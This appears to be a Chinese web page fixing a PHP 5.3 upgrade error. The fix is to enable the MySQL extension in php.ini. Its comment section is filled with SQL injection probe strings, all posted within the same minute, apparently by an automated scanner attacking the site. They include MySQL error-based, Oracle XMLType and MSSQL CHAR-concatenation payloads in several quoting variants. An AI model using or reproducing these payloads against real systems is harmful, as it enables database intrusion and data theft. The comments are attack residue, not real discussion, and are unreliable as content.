企业故障(无法调用mysql_connect()函数)

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问题描述:

当企业网站升级php。从5.2升级到5.3访问网站的时候出现报错:无法调用mysql_connect()函数;

经过排查后发现是php没有打开mysql扩展。

解决方法:


请确定是否修改了正确的php.ini

extension=php_mysql.dll 
前面的分号去掉
修改完了重启web服务
重启完了phpinfo();里有没有mysql这个选项.

全部评论

2019-12-17 13:02
(SELECT 8631 FROM(SELECT COUNT(*),CONCAT(0x7162766271,(SELECT (ELT(8631=8631,1))),0x71706a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
2019-12-17 13:02
angelina AND 5124=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (5124=5124) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(106)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)-- JnBI
2019-12-17 13:02
angelina AND 5124=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (5124=5124) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(106)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)
2019-12-17 13:02
angelina) AND 5124=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (5124=5124) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(106)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND (8226=8226
2019-12-17 13:02
angelina' AND 5124=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (5124=5124) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(106)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND 'TRvE'='TRvE
2019-12-17 13:02
angelina') AND 5124=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (5124=5124) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(112)||CHR(106)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND ('Udxb'='Udxb
2019-12-17 13:02
angelina AND 9181 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(118)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9181=9181) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(106)+CHAR(113)))-- zpTI
2019-12-17 13:02
angelina AND 9181 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(118)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9181=9181) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(106)+CHAR(113)))
2019-12-17 13:02
angelina) AND 9181 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(118)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9181=9181) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(106)+CHAR(113))) AND (1084=1084
2019-12-17 13:02
angelina' AND 9181 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(118)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (9181=9181) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(106)+CHAR(113))) AND 'YYfi'='YYfi